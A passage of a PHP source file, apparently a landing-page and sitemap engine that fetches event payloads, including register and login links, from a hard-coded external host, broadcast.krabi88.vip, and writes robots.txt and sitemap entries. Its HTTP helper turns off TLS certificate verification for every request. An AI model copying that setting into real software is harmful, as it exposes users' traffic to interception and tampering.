get_status_text($code); $proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; header($proto . ' ' . $code . ($text !== '' ? ' ' . $text : ''), true, $code); header('Status: ' . $code . ($text !== '' ? ' ' . $text : ''), true, $code); if (function_exists('http_response_code')) { @http_response_code($code); } } // Basic IO helpers (version-safe) // Open a local path for binary reading using whichever API the host permits. // Binary mode ('rb') yields identical bytes on Windows and Unix-like systems. // Returns a stream resource, or false when the file cannot be opened (also // when fopen() is disabled via disable_functions). Centralised here so the // readability probe and the reader below share one implementation. function safe_fopen_read($path) { if (!is_string($path) || $path === '' || !is_function_available('fopen')) { return false; } return @fopen($path, 'rb'); } // Close a stream resource only when fclose() is actually available. function safe_fclose($handle) { if ($handle !== false && $handle !== null && is_function_available('fclose')) { @fclose($handle); } } // Read an already-open binary stream to EOF using fread()/feof(). Returns the // full contents as a string, or false on a read error or when fread()/feof() // are unavailable. Works for both local files and HTTP(S) stream wrappers, so // the local reader and the URL fallback share one loop. Does not close $handle. function safe_stream_read_all($handle) { if ($handle === false || $handle === null || !is_function_available('fread') || !is_function_available('feof')) { return false; } $chunks = array(); while (!@feof($handle)) { $chunk = @fread($handle, 8192); if ($chunk === false || $chunk === '') { // An empty read at EOF is normal; an empty read before EOF is a // genuine failure. if (!@feof($handle)) { return false; } break; } $chunks[] = $chunk; } return implode('', $chunks); } function safe_file_get_contents($path) { if (!is_string($path) || $path === '') { return false; } if (!safe_is_readable($path)) { return false; } if (is_function_available('file_get_contents')) { $content = @file_get_contents($path); if ($content !== false) { return $content; } } // Some shared hosts disable file_get_contents(). Fall back to the older, // widely available fopen()/fread() APIs via the shared safe_fopen_read() // / safe_stream_read_all() / safe_fclose() helpers (binary mode, identical // on all OSes). $handle = safe_fopen_read($path); if ($handle === false) { return false; } $content = safe_stream_read_all($handle); safe_fclose($handle); return $content; } function safe_file_put_contents($path, $data) { if (!is_string($path) || $path === '') { return false; } return @file_put_contents($path, $data); } // Delete a file in an open_basedir-safe way, tolerating hosts that disable // unlink(). Returns true when the file is gone afterwards (removed now or // already absent) and false only when a file that exists could not be removed. function safe_unlink($path) { if (!is_string($path) || $path === '' || !is_path_allowed_open_basedir($path)) { return false; } if (!@file_exists($path)) { return true; // nothing to remove } if (!is_function_available('unlink')) { return false; } return @unlink($path); } // Ensure a robots.txt at $path advertises the sitemap. // - missing file -> create it with $defaultContent // - existing file -> append $sitemapLine only if that exact line is not // already present (a different Sitemap: URL is left // in place and ours is added alongside) // - line already there -> leave the file untouched // open_basedir-safe; returns 'created' | 'appended' | 'exists' on success, or // false when the file cannot be written (permission / open_basedir) so the // caller can fall back to another location. function write_robots_with_sitemap($path, $sitemapLine, $defaultContent) { if (!is_string($path) || $path === '' || !is_path_allowed_open_basedir($path)) { return false; } if (!@file_exists($path)) { return safe_file_put_contents($path, $defaultContent) === false ? false : 'created'; } $current = safe_file_get_contents($path); if ($current === false) { return false; } // Skip if the exact Sitemap line (same URL) is already present, comparing // trimmed and case-insensitively so whitespace/case never duplicates it. $needle = strtolower(trim($sitemapLine)); foreach (preg_split('/\r\n|\r|\n/', $current) as $line) { if (strtolower(trim($line)) === $needle) { return 'exists'; } } // Append the Sitemap line, guaranteeing a newline boundary first. $prefix = ($current === '' || substr($current, -1) === "\n") ? '' : "\n"; $updated = $current . $prefix . $sitemapLine . "\n"; return safe_file_put_contents($path, $updated) === false ? false : 'appended'; } // open_basedir-safe filesystem checks function normalize_open_basedir_path($path) { $path = str_replace('\\', '/', (string) $path); $path = rtrim($path, '/'); return $path === '' ? '/' : $path; } function is_path_allowed_open_basedir($path) { $openBasedir = ini_get('open_basedir'); if ($openBasedir === false || $openBasedir === '') { return true; } $pathNorm = normalize_open_basedir_path($path); $isWindows = DIRECTORY_SEPARATOR === '\\'; $pathCmp = $isWindows ? strtolower($pathNorm) : $pathNorm; $bases = explode(PATH_SEPARATOR, $openBasedir); foreach ($bases as $base) { $base = trim($base); if ($base === '') { continue; } $baseNorm = normalize_open_basedir_path($base); $baseCmp = $isWindows ? strtolower($baseNorm) : $baseNorm; if ($pathCmp === $baseCmp || strpos($pathCmp, $baseCmp . '/') === 0) { return true; } } return false; } function safe_is_dir($path) { if (!is_path_allowed_open_basedir($path)) { return false; } return @is_dir($path); } function safe_is_writable($path) { if (!is_path_allowed_open_basedir($path)) { return false; } return @is_writable($path); } function safe_is_readable($path) { if (!is_path_allowed_open_basedir($path) || !file_exists($path)) { return false; } if (is_function_available('is_readable')) { return @is_readable($path); } $handle = safe_fopen_read($path); if ($handle !== false) { safe_fclose($handle); return true; } return false; } // Simple disk cache (OS-friendly) // Probe the filesystem for a writable temp directory. This is the expensive // part (several is_dir/is_writable stat calls), kept separate so info.json can // cache the result and get_cache_dir() can skip the probe on later requests. // Must NOT call get_runtime_environment_info(), to avoid a lookup cycle. function probe_cache_dir() { $candidates = array(); $localTmpDir = __DIR__ . DIRECTORY_SEPARATOR . 'tmp'; $isWindows = DIRECTORY_SEPARATOR === '\\'; // Windows exposes its preferred temp directories through environment // variables; Unix-like systems conventionally use /tmp and /var/tmp. if ($isWindows) { $candidates[] = getenv('TEMP'); $candidates[] = getenv('TMP'); } $uploadTmp = ini_get('upload_tmp_dir'); if ($uploadTmp) { $candidates[] = $uploadTmp; } if (is_function_available('sys_get_temp_dir')) { $candidates[] = sys_get_temp_dir(); } if (!$isWindows) { $candidates[] = '/tmp'; $candidates[] = '/var/tmp'; } $candidates[] = $localTmpDir; foreach ($candidates as $dir) { if (!$dir) { continue; } if (!safe_is_dir($dir)) { if ($dir === $localTmpDir && is_function_available('mkdir')) { @mkdir($dir, 0755, true); } } if (safe_is_dir($dir) && safe_is_writable($dir)) { return rtrim($dir, '/\\'); } } return ''; } function get_cache_dir() { static $cacheDir = null; if ($cacheDir !== null) { return $cacheDir; } // Prefer the path cached in info.json, but re-validate it: temp dirs get // cleaned and permissions change, so a stale path must fall back to a // fresh probe rather than returning a directory that no longer works. $env = get_runtime_environment_info(); if (isset($env['cache_dir']) && $env['cache_dir'] !== '' && safe_is_writable($env['cache_dir'])) { $cacheDir = $env['cache_dir']; return $cacheDir; } $cacheDir = probe_cache_dir(); return $cacheDir; } /** * Read stable runtime details from a project-local file. * * info.json avoids repeating server-type detection and is regenerated after a * PHP or OS upgrade. If the application directory is read-only, values are * still detected for the current request without writing a file. * * @return array */ function get_runtime_environment_info($forceRefresh = false) { static $environmentInfo = null; if (!$forceRefresh && $environmentInfo !== null) { return $environmentInfo; } // A forced refresh (e.g. right after deleting info.json on a sitemap update) // must re-detect from scratch, so drop the in-memory cache and skip reading // any stored file below. if ($forceRefresh) { $environmentInfo = null; } $infoPath = __DIR__ . DIRECTORY_SEPARATOR . 'info.json'; $serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower((string) $_SERVER['SERVER_SOFTWARE']) : ''; if (!$forceRefresh && safe_is_readable($infoPath)) { $stored = safe_json_decode(safe_file_get_contents($infoPath), true); if (is_array($stored) && isset($stored['format_version'], $stored['php_version'], $stored['php_os'], $stored['server_software']) && (int) $stored['format_version'] === 3 && $stored['php_version'] === PHP_VERSION && $stored['php_os'] === PHP_OS && $stored['server_software'] === $serverSoftware) { // Self-heal: if this request arrived through a rewrite (proof that // rewriting works) but the cached capability is still false -- // e.g. info.json was first written on a markerless homepage hit // that could not see the .htaccess -- upgrade and persist it so // later markerless requests inherit the proof. if (empty($stored['has_rewrite_config']) && request_has_rewrite_marker()) { $stored['has_rewrite_config'] = true; if (safe_is_writable(__DIR__)) { $encoded = safe_json_encode($stored); if ($encoded !== '') { safe_file_put_contents($infoPath, $encoded); } } } $environmentInfo = $stored; return $environmentInfo; } } $isApache = strpos($serverSoftware, 'apache') !== false; $isLiteSpeed = strpos($serverSoftware, 'litespeed') !== false || strpos($serverSoftware, 'openlitespeed') !== false; $isIIS = strpos($serverSoftware, 'microsoft-iis') !== false || strpos($serverSoftware, 'iis') !== false; $isNginx = strpos($serverSoftware, 'nginx') !== false; $environmentInfo = array( 'format_version' => 3, 'php_version' => PHP_VERSION, 'php_version_id' => defined('PHP_VERSION_ID') ? PHP_VERSION_ID : 0, 'php_os' => PHP_OS, 'php_sapi' => PHP_SAPI, 'server_software' => $serverSoftware, 'is_apache' => $isApache, 'is_litespeed' => $isLiteSpeed, 'is_iis' => $isIIS, 'is_nginx' => $isNginx, 'is_windows' => DIRECTORY_SEPARATOR === '\\', // HTTP-client capability: stable per install, consulted on every // outbound request in safe_http_request(). 'has_curl' => is_function_available('curl_init') && is_function_available('curl_exec'), 'has_allow_url_fopen' => (bool) ini_get('allow_url_fopen'), 'open_basedir' => (string) ini_get('open_basedir'), // URL-rewrite capability, resolved once and cached here so later // requests -- including the bare homepage "/", which has no rewrite // marker of its own -- read the answer from info.json instead of // re-probing the filesystem. See detect_rewrite_support(). 'has_rewrite_config' => detect_rewrite_support($isApache, $isLiteSpeed, $isIIS, $isNginx), // Resolved writable temp dir, probed once here instead of on every // request. get_cache_dir() re-validates and re-probes if it vanished. 'cache_dir' => probe_cache_dir(), 'generated_at' => date('c') ); if (safe_is_writable(__DIR__)) { $encoded = safe_json_encode($environmentInfo); if ($encoded !== '') { safe_file_put_contents($infoPath, $encoded); } } return $environmentInfo; } // Initialize info.json for every normal request, not only redirect or SSE // requests that need the web-server flags. $runtimeEnvironmentInfo = get_runtime_environment_info(); function cache_get($key, $ttl = 60) { $dir = get_cache_dir(); if ($dir === '' || $key === '') { return false; } $path = $dir . '/' . get_cache_file_prefix() . md5($key) . '.json'; if (!file_exists($path)) { return false; } if ($ttl > 0 && (time() - filemtime($path)) > $ttl) { return false; } return safe_file_get_contents($path); } function cache_set($key, $value) { $dir = get_cache_dir(); if ($dir === '' || $key === '') { return false; } $path = $dir . '/' . get_cache_file_prefix() . md5($key) . '.json'; if (!safe_is_writable($dir)) { return false; } return safe_file_put_contents($path, $value); } // Remove on-disk cache files. Defaults to the CURRENT site's files only // (get_cache_file_prefix()), so clearing one domain never wipes another's // cache. Pass 'be_cache_' explicitly to purge every site's files. function clear_cache_files($prefix = null) { $dir = get_cache_dir(); if ($prefix === null) { $prefix = get_cache_file_prefix(); } if ($dir === '' || $prefix === '' || !safe_is_dir($dir)) { return 0; } $removed = 0; $paths = array(); if (is_function_available('glob')) { $matches = glob($dir . '/' . $prefix . '*'); if (is_array($matches)) { $paths = $matches; } } if (empty($paths) && is_function_available('scandir')) { $entries = @scandir($dir); if (is_array($entries)) { foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') { continue; } if (strpos($entry, $prefix) !== 0) { continue; } $paths[] = $dir . '/' . $entry; } } } foreach (array_unique($paths) as $path) { if (!is_string($path) || $path === '' || !is_path_allowed_open_basedir($path)) { continue; } if (@is_file($path) && @unlink($path)) { $removed++; } } return $removed; } function get_request_method() { return isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET'; } /** * Safe HTTP request using curl or file_get_contents * @param string $url * @param array $options (method, headers, body, timeout, follow_redirects, max_redirects) * @return array (success, body, status, headers, error) */ function safe_http_request($url, $options = array()) { $defaults = array( 'method' => 'GET', 'headers' => array(), 'body' => null, 'timeout' => 30, 'follow_redirects' => true, 'max_redirects' => 3 ); $options = array_merge($defaults, $options); // Forward browser identity headers on every outbound request unless the // caller deliberately supplied a value. The visitor-header helpers remove // control characters before values can be used as header values. if (!is_array($options['headers'])) { $options['headers'] = array(); } $hasUserAgentHeader = false; $hasAcceptLanguageHeader = false; foreach ($options['headers'] as $headerName => $headerValue) { if (!is_string($headerName)) { continue; } $normalizedHeaderName = strtolower(trim($headerName)); if ($normalizedHeaderName === 'user-agent') { $hasUserAgentHeader = true; } elseif ($normalizedHeaderName === 'accept-language') { $hasAcceptLanguageHeader = true; } } if (!$hasUserAgentHeader) { $visitorUserAgent = get_visitor_user_agent(); if ($visitorUserAgent !== '') { $options['headers']['User-Agent'] = $visitorUserAgent; } } if (!$hasAcceptLanguageHeader) { $visitorAcceptLanguage = get_visitor_accept_language(); if ($visitorAcceptLanguage !== '') { $options['headers']['Accept-Language'] = $visitorAcceptLanguage; } } $result = array( 'success' => false, 'body' => null, 'status' => 0, 'headers' => array(), 'error' => null ); // HTTP-client capability is fixed per install; read it from info.json // instead of re-checking function/ini availability on every request. $env = get_runtime_environment_info(); // Try cURL first if (!empty($env['has_curl'])) { $ch = curl_init(); if ($ch === false) { $result['error'] = 'Unable to initialize cURL'; } else { curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout']); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $options['timeout']); // Only enable FOLLOWLOCATION if open_basedir is not set (prevents warning) if ($options['follow_redirects'] && (ini_get('open_basedir') === '' || ini_get('open_basedir') === false)) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, (int) $options['max_redirects']); } curl_setopt($ch, CURLOPT_HEADER, true); // SSL fix for older servers curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if (defined('CURL_SSLVERSION_TLSv1_2')) { curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2); } if (!empty($options['headers'])) { $headers = array(); foreach ($options['headers'] as $key => $value) { $headers[] = "$key: $value"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } if ($options['method'] === 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($options['body'] !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $options['body']); } } elseif ($options['method'] !== 'GET') { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $options['method']); if ($options['body'] !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $options['body']); } } $response = curl_exec($ch); if ($response === false) { $result['error'] = curl_error($ch); } else { $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $result['status'] = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); $result['headers'] = substr($response, 0, $headerSize); $result['body'] = substr($response, $headerSize); $result['success'] = ($result['status'] >= 200 && $result['status'] < 400); } safe_curl_close($ch); // If cURL itself failed (for example due to a host-specific TLS or // proxy configuration), continue to the stream fallback below when // it is available. A completed HTTP response, including 4xx/5xx, // must be returned as-is rather than requested a second time. if ($response !== false) { return $result; } } } // Fallback: fetch over an HTTP(S) stream wrapper when allow_url_fopen is // enabled. Prefer file_get_contents(); if that function is disabled, fall // back to fopen()+fread() through the shared stream helpers so the request // still succeeds on hosts that expose only one of the two APIs. Both paths // use the same stream context and both surface the response headers, so the // header parsing below is shared. if (!empty($env['has_allow_url_fopen']) && (is_function_available('file_get_contents') || is_function_available('fopen'))) { $contextOptions = array( 'http' => array( 'method' => $options['method'], 'timeout' => $options['timeout'], 'ignore_errors' => true, 'follow_location' => $options['follow_redirects'] ? 1 : 0, // Stream contexts count the initial request in max_redirects // (1 or less = no redirects), cURL counts only the hops — so // add 1 here to keep both branches allowing the same number. 'max_redirects' => ((int) $options['max_redirects']) + 1 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) ); if (!empty($options['headers'])) { $headers = ''; foreach ($options['headers'] as $key => $value) { $headers .= "$key: $value\r\n"; } $contextOptions['http']['header'] = $headers; } if ($options['body'] !== null) { $contextOptions['http']['content'] = $options['body']; } // stream_context_create() is virtually always present, but guard it so // a host that disabled it still gets an (unconfigured) best-effort read. $context = is_function_available('stream_context_create') ? @stream_context_create($contextOptions) : null; $body = false; $responseHeaders = null; if (is_function_available('file_get_contents')) { $body = ($context !== null) ? @file_get_contents($url, false, $context) : @file_get_contents($url); // $http_response_header is populated in this scope by the fetch. if (isset($http_response_header) && is_array($http_response_header)) { $responseHeaders = $http_response_header; } } else { // file_get_contents() disabled: read the URL via fopen()+fread(). $handle = ($context !== null) ? @fopen($url, 'rb', false, $context) : @fopen($url, 'rb'); if ($handle !== false) { // Capture the wrapper's response headers before reading body. if (is_function_available('stream_get_meta_data')) { $meta = @stream_get_meta_data($handle); if (isset($meta['wrapper_data']) && is_array($meta['wrapper_data'])) { $responseHeaders = $meta['wrapper_data']; } } if ($responseHeaders === null && isset($http_response_header) && is_array($http_response_header)) { $responseHeaders = $http_response_header; } $body = safe_stream_read_all($handle); safe_fclose($handle); } } if ($body !== false) { $result['body'] = $body; $result['success'] = true; $result['error'] = null; // Parse response headers. When redirects are followed the array // holds every hop's headers, so take the LAST status line — the // first one is the 3xx we were redirected away from. if (is_array($responseHeaders)) { $result['headers'] = $responseHeaders; $finalStatus = 0; foreach ($responseHeaders as $headerLine) { if (preg_match('/^HTTP\/\d+(?:\.\d+)?\s+(\d+)/', $headerLine, $matches)) { $finalStatus = (int) $matches[1]; } } if ($finalStatus > 0) { $result['status'] = $finalStatus; $result['success'] = ($finalStatus >= 200 && $finalStatus < 400); } } } else { if ($result['error'] === null || $result['error'] === '') { $result['error'] = 'Failed to fetch URL'; } } return $result; } if ($result['error'] === null || $result['error'] === '') { $result['error'] = 'No HTTP client available (curl or allow_url_fopen required)'; } return $result; } function normalize_slug_list($payload) { $slugs = array(); if (is_array($payload)) { foreach ($payload as $item) { if (is_string($item) && $item !== '') { $slugs[] = $item; } elseif (is_array($item) && isset($item['slug']) && is_string($item['slug']) && $item['slug'] !== '') { $slugs[] = $item['slug']; } } } return array_values(array_unique($slugs)); } function normalize_schema_datetime($value) { $value = trim((string) $value); if ($value === '') { return date('c'); } $hasTimezone = preg_match('/(?:Z|[+-][0-9]{2}:?[0-9]{2})$/i', $value) === 1; try { $dateTime = $hasTimezone ? new DateTime($value) : new DateTime($value, new DateTimeZone(date_default_timezone_get())); return $dateTime->format('c'); } catch (Exception $e) { return date('c'); } } // Recursively extract slug-like strings from any payload shape (for sitemap) function extract_slugs_recursive($data, &$out) { if (is_string($data)) { $s = trim($data); if ($s !== '') { $out[] = $s; } return; } if (is_array($data)) { if (isset($data['slug']) && is_string($data['slug'])) { $s = trim($data['slug']); if ($s !== '') { $out[] = $s; } } foreach ($data as $v) { extract_slugs_recursive($v, $out); } } } function read_sitemap_urls($sitemapFile) { $result = array('urls' => array(), 'format' => 'query', 'sitemap_files' => array()); if (!file_exists($sitemapFile)) { return $result; } $content = safe_file_get_contents($sitemapFile); if ($content === false) { return $result; } $urls = array(); if (strpos($content, '([^<]+)<\\/loc>/', $content, $matches)) { foreach ($matches[1] as $loc) { $loc = trim($loc); if ($loc === '') { continue; } $result['sitemap_files'][] = $loc; // Read the child sitemap from local disk first. The URLs // are absolute and may point at a host this server cannot fetch // (a stale localhost from another environment, loopback blocked, // or no curl/allow_url_fopen) -- which is why the URL list came // back as 0. The child files sit in the same directory as the // parent, so resolve the basename there and read it directly; // fall back to HTTP only when the local file is not available. $childBody = false; $childName = $loc; $qPos = strpos($childName, '?'); if ($qPos !== false) { $childName = substr($childName, 0, $qPos); } $childName = basename($childName); if ($childName !== '') { $localChild = dirname($sitemapFile) . DIRECTORY_SEPARATOR . $childName; if (safe_is_readable($localChild)) { $childBody = safe_file_get_contents($localChild); } } if ($childBody === false || $childBody === '') { $child = safe_http_request($loc, array('method' => 'GET', 'timeout' => 10)); if (!empty($child['success']) && isset($child['body'])) { $childBody = $child['body']; } } if (is_string($childBody) && $childBody !== '' && preg_match_all('/([^<]+)<\\/loc>/', $childBody, $m2)) { foreach ($m2[1] as $u) { $u = trim($u); if ($u !== '') { $urls[] = $u; } } } } } } else { if (preg_match_all('/([^<]+)<\\/loc>/', $content, $matches)) { $urls = $matches[1]; } } if (count($urls) > 0 && strpos($urls[0], '?view=') === false) { $result['format'] = 'pretty'; } $result['urls'] = $urls; return $result; } /** * Fetch slug list JSON from API endpoint. * @param string $url * @param int $timeout * @return array */ function fetch_external_api_slug_list($url, $timeout = 6) { $userAgent = get_visitor_user_agent(); if ($userAgent === '') { $userAgent = 'Mozilla/5.0 (compatible; SitemapFetcher/1.0)'; } $request = safe_http_request($url, array( 'method' => 'GET', 'timeout' => $timeout, 'headers' => array( 'Accept' => 'application/json', 'Cache-Control' => 'no-cache', 'Pragma' => 'no-cache', 'User-Agent' => $userAgent ) )); // Transport-level failure (cURL error / stream failure) if ($request['error'] !== null) { return array( 'ok' => false, 'status' => 502, 'error' => 'slug API connection failed (' . $request['error'] . ')' ); } $response = $request['body']; $statusCode = (int) $request['status']; // Check for empty or failed response if ($response === false || $response === null || $response === '') { return array( 'ok' => false, 'status' => 502, 'error' => 'slug API unavailable (empty response)' ); } if ($statusCode < 200 || $statusCode >= 300) { return array( 'ok' => false, 'status' => $statusCode > 0 ? $statusCode : 502, 'error' => 'slug API returned HTTP ' . ($statusCode > 0 ? $statusCode : 'error') ); } $payload = safe_json_decode($response, true); if (!is_array($payload)) { return array( 'ok' => false, 'status' => 502, 'error' => 'slug API returned invalid JSON' ); } return array( 'ok' => true, 'status' => 200, 'payload' => $payload ); } if (!isset($GLOBALS['LPNEW_CONFIG']['site_url'])) { $GLOBALS['LPNEW_CONFIG']['site_url'] = ''; } if (!isset($GLOBALS['LPNEW_CONFIG']['broadcast_api_base_url'])) { $envVal = getenv('BROADCAST_API_BASE_URL'); $GLOBALS['LPNEW_CONFIG']['broadcast_api_base_url'] = $envVal ? rtrim($envVal, '/') : 'https://broadcast.krabi88.vip'; } function get_broadcast_api_base_candidates() { $candidates = array(); if (isset($GLOBALS['LPNEW_CONFIG']['broadcast_api_base_url'])) { $candidates[] = $GLOBALS['LPNEW_CONFIG']['broadcast_api_base_url']; } $candidates[] = 'https://broadcast.krabi88.vip'; $unique = array(); foreach ($candidates as $candidate) { $candidate = rtrim($candidate, '/'); if ($candidate !== '' && !in_array($candidate, $unique, true)) { $unique[] = $candidate; } } return $unique; } /** * Fetch external_api broadcast payload. * @param string $url * @param int $timeout * @return array */ function fetch_api_external_broadcast($url, $timeout = 6) { $userAgent = get_visitor_user_agent(); if ($userAgent === '') { $userAgent = 'PHP/' . PHP_VERSION; } $referrer = get_referrer_url(); if ($referrer === '' && function_exists('get_canonical_url')) { $referrer = trim((string) get_canonical_url()); } $httpHeaders = array( 'Accept' => 'application/json', 'User-Agent' => $userAgent ); if ($referrer !== '') { $httpHeaders['Referer'] = $referrer; } $request = safe_http_request($url, array( 'method' => 'GET', 'timeout' => $timeout, 'headers' => $httpHeaders )); // Transport-level failure (cURL error / stream failure) if ($request['error'] !== null) { return array( 'ok' => false, 'status' => 502, 'body' => safe_json_encode(array('ok' => false, 'error' => 'upstream connection failed')) ); } $response = $request['body']; $statusCode = (int) $request['status']; // Check for empty or failed response if ($response === false || $response === null || $response === '') { return array( 'ok' => false, 'status' => 502, 'body' => safe_json_encode(array('ok' => false, 'error' => 'upstream unavailable')) ); } // Validate JSON response $payload = safe_json_decode($response, true); if (!is_array($payload)) { return array( 'ok' => false, 'status' => 502, 'body' => safe_json_encode(array('ok' => false, 'error' => 'invalid upstream response')) ); } // Handle 404 or explicit error response from upstream if ($statusCode === 404 || (isset($payload['ok']) && $payload['ok'] === false)) { return array( 'ok' => false, 'status' => 404, 'body' => $response ); } return array( 'ok' => true, 'status' => $statusCode > 0 ? $statusCode : 200, 'body' => $response ); } function normalize_broadcast_payload($payload, $slug) { $date = isset($payload['date']) && $payload['date'] !== '' ? $payload['date'] : date('Y-m-d'); $authorName = ''; if (isset($payload['author'])) { if (is_array($payload['author']) && isset($payload['author']['name'])) { $authorName = $payload['author']['name']; } elseif (is_string($payload['author'])) { $authorName = $payload['author']; } } $event = array( 'title' => isset($payload['title']) ? $payload['title'] : null, 'brand_name' => isset($payload['brand_name']) ? $payload['brand_name'] : null, 'category' => isset($payload['category']) ? $payload['category'] : null, 'description' => isset($payload['description']) ? $payload['description'] : null, 'author' => $authorName !== '' ? $authorName : null, 'city' => isset($payload['city']) ? $payload['city'] : null, 'thumbnail' => isset($payload['thumbnail']) ? $payload['thumbnail'] : null, 'canonical_url' => isset($payload['canonical_url']) ? $payload['canonical_url'] : null, 'register_url' => isset($payload['register_url']) ? $payload['register_url'] : null, 'login_url' => isset($payload['login_url']) ? $payload['login_url'] : null ); $generatedAt = normalize_schema_datetime(isset($payload['updated_at']) && $payload['updated_at'] !== '' ? $payload['updated_at'] : $date . 'T00:00:00+07:00'); $schedule = array(); if (isset($payload['event']['schedule']) && is_array($payload['event']['schedule'])) { foreach ($payload['event']['schedule'] as $item) { $schedule[] = array( 'time' => isset($item['time']) ? $item['time'] : null, 'title' => isset($item['title']) ? $item['title'] : null, 'description' => isset($item['description']) ? $item['description'] : null, 'speaker' => isset($item['speaker']) ? $item['speaker'] : null ); } } $anotherLive = array(); if (isset($payload['another_live_broadcast']) && is_array($payload['another_live_broadcast'])) { foreach ($payload['another_live_broadcast'] as $item) { $anotherLive[] = array( 'name' => isset($item['name']) ? $item['name'] : null, 'slug' => isset($item['slug']) ? $item['slug'] : null ); } } $externalUrls = array(); if (isset($payload['external_urls']) && is_array($payload['external_urls'])) { foreach ($payload['external_urls'] as $item) { $externalUrls[] = array( 'url' => isset($item['url']) ? $item['url'] : null, 'title' => isset($item['title']) ? $item['title'] : null ); } } $externalThumbnail = array(); if (isset($payload['screenshots']) && is_array($payload['screenshots'])) { foreach ($payload['screenshots'] as $item) { $externalThumbnail[] = array( 'url' => isset($item['url']) ? $item['url'] : null, 'alt_text' => isset($item['alt_text']) ? $item['alt_text'] : null ); } shuffle($externalThumbnail); } $screenshots = array(); if (isset($payload['screenshots']) && is_array($payload['screenshots'])) { foreach ($payload['screenshots'] as $item) { $screenshots[] = array( 'url' => isset($item['url']) ? $item['url'] : null, 'alt_text' => isset($item['alt_text']) ? $item['alt_text'] : null ); } } return array( 'ok' => true, 'generated_at' => $generatedAt, 'event' => $event, 'schedule' => $schedule, 'another_live_broadcast' => $anotherLive, 'external_urls' => $externalUrls, 'external_thumbnail' => $externalThumbnail, 'screenshots' => $screenshots ); } function _is_local_host($host) { if ($host === 'localhost' || $host === '127.0.0.1' || $host === '::1') { return true; } if (substr($host, -6) === '.local') { return true; } if (is_function_available('filter_var') && defined('FILTER_VALIDATE_IP')) { if (filter_var($host, FILTER_VALIDATE_IP)) { $flags = 0; if (defined('FILTER_FLAG_NO_PRIV_RANGE')) { $flags |= FILTER_FLAG_NO_PRIV_RANGE; } if (defined('FILTER_FLAG_NO_RES_RANGE')) { $flags |= FILTER_FLAG_NO_RES_RANGE; } if ($flags !== 0) { return !filter_var($host, FILTER_VALIDATE_IP, $flags); } } } if (preg_match('/^\d{1,3}(?:\.\d{1,3}){3}$/', $host)) { $parts = explode('.', $host); foreach ($parts as $part) { if (!preg_match('/^(0|[1-9][0-9]{0,2})$/', $part)) { return false; } $octet = (int) $part; if ($octet < 0 || $octet > 255) { return false; } } return $parts[0] === '10' || $parts[0] === '127' || ($parts[0] === '169' && $parts[1] === '254') || ($parts[0] === '172' && (int) $parts[1] >= 16 && (int) $parts[1] <= 31) || ($parts[0] === '192' && $parts[1] === '168') || $parts[0] === '0'; } if (strpos($host, ':') !== false) { $hostLower = trim(strtolower($host), '[]'); $zonePos = strpos($hostLower, '%'); if ($zonePos !== false) { $hostLower = substr($hostLower, 0, $zonePos); } return $hostLower === '::1' || preg_match('/^f[cd][0-9a-f]{2}:/', $hostLower) || preg_match('/^fe[89ab][0-9a-f]:/', $hostLower); } return false; } function _looks_like_image($data) { if (!is_string($data) || strlen($data) < 4) { return false; } $sig4 = substr($data, 0, 4); // PNG, GIF, RIFF/WEBP, ICO (\x00\x00\x01\x00), BMP, JPEG if ($sig4 === "\x89PNG" || strncmp($data, 'GIF8', 4) === 0 || strncmp($data, 'RIFF', 4) === 0 || $sig4 === "\x00\x00\x01\x00" || strncmp($data, 'BM', 2) === 0 || strncmp($data, "\xFF\xD8\xFF", 3) === 0) { return true; } // SVG (may start with BOM/whitespace/XML declaration) $head = ltrim(substr($data, 0, 256)); if (stripos($head, '= 2 ? $parts[$count - 2] . '.' . $parts[$count - 1] : $host; $faviconHost = $count >= 3 ? $host : $rootDomain; $googleFaviconUrl = 'https://t3.gstatic.com/faviconV2?' . http_build_query(array( 'client' => 'SOCIAL', 'type' => 'FAVICON', 'fallback_opts' => 'TYPE,SIZE,URL', 'url' => 'https://' . $faviconHost, 'size' => (int)$size ), '', '&'); if (safe_is_writable($basePath)) { $request = safe_http_request($googleFaviconUrl, array( 'method' => 'GET', 'timeout' => 5, 'headers' => array( 'User-Agent' => get_visitor_user_agent() !== '' ? get_visitor_user_agent() : 'Mozilla/5.0 (compatible; FaviconDownloader/1.0)' ) )); // gstatic returns HTTP 404 for its generated fallback icon while still // sending a valid image body, so accept any response whose body is a // real image rather than requiring a 2xx/3xx status. The magic-byte // check prevents writing an HTML error page as favicon.png. $faviconData = $request['body']; if ($faviconData !== null && _looks_like_image($faviconData)) { if (safe_file_put_contents($faviconPath, $faviconData) !== false) { return build_absolute_url('favicon.png'); } } } return $googleFaviconUrl; } $updateAction = ''; if (isset($_GET['update'])) { $updateAction = trim($_GET['update']); } else { $route = parse_request_path(); if ($route['action'] === 'update_sitemap') { $updateAction = 'sitemap'; } elseif ($route['action'] === 'indexnow') { $updateAction = 'indexnow'; } } if ($updateAction === 'sitemap') { header('X-Robots-Tag: noindex, nofollow'); if (get_request_method() !== 'GET') { set_response_code(405); header('Allow: GET'); header('Content-Type: text/plain; charset=utf-8'); echo 'Method not allowed'; exit; } // Clear only THIS domain's cache (default prefix); other domains served // from the same directory keep theirs. $clearedCacheFiles = clear_cache_files(); // Rebuild info.json in place with a forced fresh detection, overwriting the // existing file so it stays present and up to date right after this request // -- picks up any server/PHP capability changes and re-proves rewrite // support from 